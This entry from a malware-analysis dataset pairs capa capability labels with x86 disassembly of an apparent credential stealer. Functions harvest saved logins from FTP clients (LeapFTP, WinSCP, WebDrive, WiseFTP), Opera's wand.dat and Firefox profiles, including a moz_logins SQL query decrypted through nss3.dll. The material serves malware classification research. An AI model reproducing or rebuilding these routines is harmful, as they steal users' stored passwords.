joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40768d
Capabilities:
Gather leapftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4077f4
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4076e2
jmp 0x4077ec
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
push 0
push str.InstallPath
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push 0x415b34
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x814], 0
je 0x407779
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404116
push 0xbeef0001
push 0x415afa
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00404116
cmp dword [ebp - 0x818], 0
je 0x4077b2
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404116
push 0xbeef0001
push 0x415afa
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404116
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040768d
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x4076b4
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40797f
Capabilities:
Gather winscp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407be1
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4079d4
jmp 0x407bd9
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
push 0
push 0x415b3c
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
push 0
push 0x415b45
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push 0x415b4e
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x820]
push eax
push 0x415b67
push dword [ebp - 0x810]
push dword [0x414841]
call fcn.00401cee
or eax, eax
je 0x407aa2
cmp dword [ebp - 0x820], 4
jne 0x407aa2
push dword [eax]
pop dword [ebp - 0x828]
push eax
call fcn.00401835
jmp 0x407ab6
or eax, eax
je 0x407aac
push eax
call fcn.00401835
mov dword [ebp - 0x828], 0x15
lea eax, [ebp - 0x830]
push eax
push str.FSProtocol
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407b7e
cmp dword [ebp - 0x814], 0
je 0x407b7e
cmp dword [ebp - 0x818], 0
je 0x407b7e
push 0xbeef0010
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401548
cmp dword [ebp - 0x82c], 0
je 0x407b74
cmp dword [ebp - 0x830], 4
jne 0x407b74
mov eax, dword [ebp - 0x82c]
push dword [eax]
push dword [ebp + 8]
call fcn.004014e6
jmp 0x407b7e
push 0
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x824]
call fcn.00401835
push dword [ebp - 0x82c]
call fcn.00401835
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040797f
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x4079a6
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407cd1
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407ee5
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407d26
jmp 0x407edd
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
lea eax, [ebp - 0x820]
push eax
push str.PassWord
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
push 0
push 0x415bc2
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push 0x415bc6
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x818], eax
push 0
push str.RootDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x824], eax
push 0
push 0x415bdd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x828], eax
push 0
push 0x415c19
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407e77
cmp dword [ebp - 0x814], 0
je 0x407e77
cmp dword [ebp - 0x818], 0
je 0x407e77
push 0xbeef0010
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x820]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.0040151c
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x82c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x824]
call fcn.00401835
push dword [ebp - 0x828]
call fcn.00401835
push dword [ebp - 0x82c]
call fcn.00401835
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407cd1
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x407cf8
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408726
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x408745
cmp byte [eax], 0
jne 0x40874a
jmp 0x40889b
push dword [ebp + 0xc]
call fcn.00402526
or eax, eax
jne 0x408765
push str..
push dword [ebp + 0xc]
call fcn.00401d75
jmp 0x408772
push 0x414eca
push dword [ebp + 0xc]
call fcn.00401d75
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401863
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x40889b
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x408833
lea eax, [edx + 0x2c]
push eax
push 0x414ec0
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4087cd
jmp 0x408876
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec2
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4087ea
jmp 0x408876
push dword [ebp + 0xc]
call fcn.00402526
or eax, eax
jne 0x408805
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
jmp 0x40880f
push 0
push dword [ebp + 0xc]
call fcn.00401d75
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401dc9
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00408726
call fcn.00401835
jmp 0x408876
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x408876
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push eax
push eax
push dword [ebp + 8]
call fcn.004086e1
call fcn.00401835
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4087a8
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401835
leave
ret 0xc
Function at 0x4088aa
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x4088c9
cmp byte [eax], 0
jne 0x4088ce
jmp 0x4089d7
push str..
push dword [ebp + 0xc]
call fcn.00401d75
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401863
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4089d7
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4089b2
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec0
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x40893d
jmp 0x4089b2
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec2
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x408957
jmp 0x4089b2
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
mov dword [ebp - 0x150], eax
push eax
push str.opera
push dword [ebp - 0x150]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4089ad
push str.wand.dat
push dword [ebp - 0x150]
push dword [ebp + 8]
call fcn.00408726
call fcn.00401835
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x408911
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401835
leave
ret 8

Function at 0x408ae3
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408bce
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408b38
jmp 0x408bc6
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
push 0
push 0x415cf9
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x408b97
push 0xbeef0001
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00403e08
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408ae3
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x408b0a
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408bd2
Capabilities:
Gather wise-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408d10
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408c27
jmp 0x408d08
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
push 0
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push dword [ebp - 0x814]
call fcn.004023a8
or eax, eax
je 0x408cd9
push eax
mov dword [ebp - 0x818], eax
push dword [ebp - 0x818]
call fcn.00401efb
or eax, eax
je 0x408cd4
push 0xbeef0002
push str.wiseftpsrvs.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404116
push 0xbeef0002
push str.wiseftp.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404116
push 0xbeef0000
push str.wiseftpsrvs.bin
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404116
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408bd2
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x408bf9
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x408e26
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov dword [0x415f70], 0
sub ebx, ebx
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
mov edx, dword [ebp + 8]
cmp eax, 2
jbe 0x408e57
add edx, eax
sub edx, 2
cmp word [edx], 0x5c5c
jne 0x408e57
mov word [edx], 0x5c
push dword [ebp + 0xc]
call sub.kernel32.dll_SetCurrentDirectoryA
push 0x415e55
push str.nss3.dll
call fcn.00402453
or eax, eax
je 0x408ed7
push dword [ebp + 8]
call dword [0x415e55]
add esp, 4
or eax, eax
jne 0x408ed7
call dword [0x415e65]
mov dword [0x415f70], eax
cmp dword [0x415f70], 0
jne 0x408e9e
call dword [0x415e59]
jmp 0x408ed7
push 0
push 1
push dword [0x415f70]
call dword [0x415e69]
add esp, 0xc
or eax, eax
je 0x408ed6
push dword [0x415f70]
call dword [0x415e71]
add esp, 4
call dword [0x415e59]
mov dword [0x415f70], 0
jmp 0x408ed7
inc ebx
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x409030
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0xc]
call fcn.00401eb3
or eax, eax
jne 0x409046
leave
ret 0x10
push dword [ebp + 0xc]
call fcn.00403f04
or eax, eax
je 0x409056
leave
ret 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00408e26
or eax, eax
jne 0x409069
leave
ret 0x10
push 0x415f54
push str.mozsqlite3.dll
call fcn.00402453
or eax, eax
jne 0x40908b
push 0x415f54
push str.sqlite3.dll
call fcn.00402453
or eax, eax
je 0x409258
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [0x415f54]
add esp, 8
or eax, eax
jne 0x409258
push 0
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push str.SELECT_hostname__encryptedUsername__encryptedPassword_FROM_moz_logins
push dword [ebp - 4]
call dword [0x415f5c]
add esp, 0x14
or eax, eax
jne 0x40924c
push dword [ebp - 8]
call dword [0x415f60]
add esp, 4
cmp eax, 0x64
je 0x4090e2
jmp 0x40924c
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 8]
call fcn.00409004
or eax, eax
je 0x409247
cmp dword [ebp - 0xc], 0
je 0x409247
cmp byte [eax], 0
je 0x409247
push eax
mov edx, dword [ebp - 0xc]
inc edx
push edx
call fcn.0040184c
pop edx
mov dword [ebp - 0x18], eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push edx
call fcn.00401883
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [0x415f6c], 0
jne 0x40918f
push 0x416062
call sub.kernel32.dll_lstrlenA
push eax
push 0x416062
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x409171
push str.http:__
call sub.kernel32.dll_lstrlenA
push eax
push str.http:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x4091bd
push str.https:__
call sub.kernel32.dll_lstrlenA
push eax
push str.https:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x4091bd
cmp dword [0x415f6c], 1
jne 0x4091b2
push str.ftp.
call sub.kernel32.dll_lstrlenA
push eax
push str.ftp.
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x4091bd
cmp dword [0x415f6c], 2
jne 0x4091bd
sub eax, eax
or eax, eax
jne 0x40922f
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
call fcn.00409004
push dword [ebp - 0xc]
push eax
call fcn.00408f07
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 2
push dword [ebp - 8]
call fcn.00409004
push dword [ebp - 0xc]
push eax
call fcn.00408f07
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
je 0x40922f
cmp dword [ebp - 0x14], 0
je 0x40922f
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x10]
call fcn.00401835
push dword [ebp - 0x14]
call fcn.00401835
push dword [ebp - 0x18]
call fcn.00401835
jmp 0x4090cc
push dword [ebp - 4]
call dword [0x415f58]
add esp, 4
call fcn.00408ede
leave
ret 0x10
Function at 0x4095f7
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0x14]
or eax, eax
je 0x409616
cmp byte [eax], 0
jne 0x40961b
jmp 0x40985f
push dword [ebp + 0x14]
call fcn.00402526
or eax, eax
jne 0x409636
push str..
push dword [ebp + 0x14]
call fcn.00401d75
jmp 0x409643
push 0x414eca
push dword [ebp + 0x14]
call fcn.00401d75
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401863
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x40985f
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x40970e
lea eax, [edx + 0x2c]
push eax
push 0x414ec0
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4096a2
jmp 0x40983a
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec2
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4096bf
jmp 0x40983a
push dword [ebp + 0x14]
call fcn.00402526
or eax, eax
jne 0x4096da
push 0x41481d
push dword [ebp + 0x14]
call fcn.00401d75
jmp 0x4096e4
push 0
push dword [ebp + 0x14]
call fcn.00401d75
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401dc9
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004095f7
call fcn.00401835
jmp 0x40983a
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [0x415f6c], 3
jne 0x409766
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x409761
push 0x41481d
push dword [ebp + 0x14]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403e31
call fcn.00401835
jmp 0x40983a
push str.signons.sqlite
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4097a8
push 0x41481d
push dword [ebp + 0x14]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00409030
call fcn.00401835
push dword [ebp - 0x14c]
call sub.kernel32.dll_lstrlenA
cmp eax, 2
jb 0x4097cc
mov edx, dword [ebp - 0x14c]
add edx, eax
sub edx, 2
cmp word [edx], 0x732e
jne 0x4097cc
jmp 0x40980c
push str.signons.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons2.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons3.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
pop edx
pop ecx
or eax, eax
jne 0x40980c
or edx, edx
jne 0x40980c
or ecx, ecx
je 0x40983a
push 0x41481d
push dword [ebp + 0x14]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.0040929d
call fcn.00401835
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x409679
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401835
leave
ret 0x10
Function at 0x409886
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push edi
push dword [ebp + 0xc]
call fcn.00401efb
or eax, eax
jne 0x40989e
pop edi
leave
ret 0xc
push dword [ebp + 0x10]
call fcn.00401efb
or eax, eax
jne 0x4098af
pop edi
leave
ret 0xc
push dword [ebp + 0xc]
call fcn.00402526
or eax, eax
jne 0x4098ca
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
jmp 0x4098d4
push 0
push dword [ebp + 0xc]
call fcn.00401d75
mov dword [ebp - 0xc], eax
push str.profiles.ini
push dword [ebp - 0xc]
call fcn.00401d75
mov dword [ebp - 8], eax
push 0xfdea
call fcn.0040184c
mov dword [ebp - 4], eax
push 0x1000
call fcn.0040184c
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call fcn.00401eb3
or eax, eax
je 0x4099ce
push dword [ebp - 8]
push 0xfde8
push dword [ebp - 4]
call sub.kernel32.dll_GetPrivateProfileSectionNamesA
cmp eax, 2
jbe 0x4099ce
mov edi, dword [ebp - 4]
cmp byte [edi], 0
je 0x4099ce
push str.Profile
push edi
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4099bc
push dword [ebp - 8]
push 0xfff
push dword [ebp - 0x10]
push 0x41481f
push 0x415f94
push edi
call sub.kernel32.dll_GetPrivateProfileStringA
or eax, eax
je 0x4099bc
push dword [ebp - 8]
push 1
push str.IsRelative
push edi
call sub.kernel32.dll_GetPrivateProfileIntA
cmp eax, 1
jne 0x4099ae
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.00401d75
push eax
mov edx, eax
jmp 0x409992
cmp byte [edx], 0x2f
jne 0x409991
mov byte [edx], 0x5c
inc edx
or edx, edx
je 0x40999b
cmp byte [edx], 0
jne 0x409989
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040986e
call fcn.00401835
jmp 0x4099bc
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.0040986e
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x409936
push dword [ebp - 0xc]
call fcn.00401835
push dword [ebp - 0x10]
call fcn.00401835
push dword [ebp - 8]
call fcn.00401835
push dword [ebp - 4]
call fcn.00401835
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040986e
pop edi
leave
ret 0xc